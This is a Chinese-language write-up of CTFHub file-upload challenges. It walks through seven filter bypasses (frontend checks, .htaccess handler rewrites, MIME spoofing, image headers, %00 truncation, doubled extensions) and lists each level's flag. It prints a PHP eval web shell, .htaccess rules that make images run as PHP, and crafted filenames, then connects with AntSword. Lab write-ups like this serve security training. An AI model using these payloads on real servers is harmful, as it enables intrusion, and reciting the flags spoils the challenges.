知识点
1、文件上传漏洞的前提条件:
(1)、可以成功上传木马;
(2)、上传成功的木马能够解析;
(3)、我们知道上传之后文件的路径;
2、当php文件被过滤,可以尝试图片马;
3、文件上传的防御:
(1)、上传后的文件重新命名;
(2)、不进行解析;
(2)、重新生成文件。
一、无验证
1、这里对文件没有限制,所以我们直接上传一句话木马
<?php @eval($_POST[admin]);?>
2、上传成功后给出相对路径,所以直接拿出蚁剑或者菜刀进行连接
3、连接成功后,查看目录,获取flag
拿下flag: ctfhub{5a9ca5dff20570539153fad1}
二、前端验证
1、绕过方法:改后缀找漏网,burp抓包改后缀。
2、题目简介
查看源代码
白名单验证,只验证文件后缀,且只能上传.jpg、.png、.gif
3、 burp抓包,由于是前端认证,所以我们将木马后缀改为.jpg,burp抓包放过时改为.php
(1)、将一句话木马后缀改为png
(2)、点击上传,burp改后缀
后缀改为php且上传成功获取到路径。
3、蚁剑测试连接
4、获取flag
flag:ctfhub{c8233e314667d80cf9c1f230}
三、.htaccess
1、题目简介
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能;
2、解题思路
根据题目以及题目源码过滤了php,因此这道题解题思路如下:
上传一个.htaccess文件,替换掉本地服务器上的源文件,重写规则,是我们能够上传脚本。
(1)、上传一个.htaccess文件,让文件名中含有数字‘6’的文件当作php文件解析;
#.htaccess文件内容
<FilesMatch "6">
SetHandler application/x-httpd-php
</FilesMatch>
(2)、上传一个.htaccess文件,让文件名后缀为.png的文件当作php文件解析;
.htaccess文件内容
AddType application/x-httpd-php png
3、解题:上传htaccess文件==》上传符合我们重新后规则的文件==》蚁剑连接
(1)、上传htaccess文件
(2)、上传文件名中含有‘6’的木马
(3)、蚁剑连接
(4)、获取flag
flag:ctfhub{a061b1c7d9adc5af113c630d}
四、MIME绕过
1、知识点
MIME:
它全名叫多用途互联网邮件扩展(Multipurpose Internet Mail Extensions),用来标注网络数据的格式。MIME的常见形式是一个主类型加一个子类型,用斜线分隔。比如text/html、application/javascript、image/png等。在访问网页时,MIME type帮助浏览器识别一个HTTP请求返回的是什么内容的数据,应该如何打开、如何显示。
2、解题思路
上传一句话木马==》burp抓包==》更改Content-Type类型为:image/png==>放包
(1)、上传木马,该MIME类型为:image/png
(2)、一句话木马上传成功
(3)、蚁剑连接
(4)、获取flag
flag:ctfhub{01fb19ac79a30497d8b8d53f}
五、文件头检查
1、题目简介
设置了白名单,只允许图片中列举出来的文件上传。
2、上传php,burp抓包改成白名单允许的文件,进行绕过
改后显示文件错误,结合题目,说明他检验文件头部。
3、上传一个正常图片,burp抓包,文件名改为:1.php;在图片内容后面写上一句话木马。
一句话木马:
4、蚁剑连接时,文件路径最后的文件名是我们更改后的后缀为php的文件
5、获取flag
flag:ctfhub{3bc1bfb2b65cd9d0e19a5c68}
六、00截断
1、知识点:PHP 5.2 00截断上传的原理
1、php 00截断前提:
php版本要小于5.3.4,5.3.4及以上已经修复该问题
magic_quotes_gpc需要为OFF状态
2、原理
%00表示截断,
例如:
?filename=123.txt 输出的是123.txt文件
加上%00后
?filename=123.php%00.txt 后缀为.txt,但是输出的是.php,因为00截断了后面
2、题目简介
前端会验证,只能上传图片中列出的类型
3、解题步骤
上传一句话木马php==》 burp抓包加上%00进行截断==》蚁剑连接获取flag
(1)、上传抓包改包:yjh.php%00;.png
(2)、蚁剑连接
文件路径为:/upload/yjh.php
(3)、获取flag
flag:ctfhub{38a79af8fb63f33caf4e4390}
七、双写后缀
1、题目简介
将文件名后缀含有的这些全部替换为空。
2、解题步骤
进行后缀的复写,如:123.phphpp,代码将后缀里的php替换后,前面的ph和后面的p又重新组成php后缀;
(1)、提交改包
(2)、木马php文件上传成功
(3)、蚁剑连接
(4)、获取flag
flag :ctfhub{21d38ee8c77b731a74eeb554}
有问题的地方大家指正!!!
版权归原作者 star-R 所有, 如有侵权,请联系我们删除。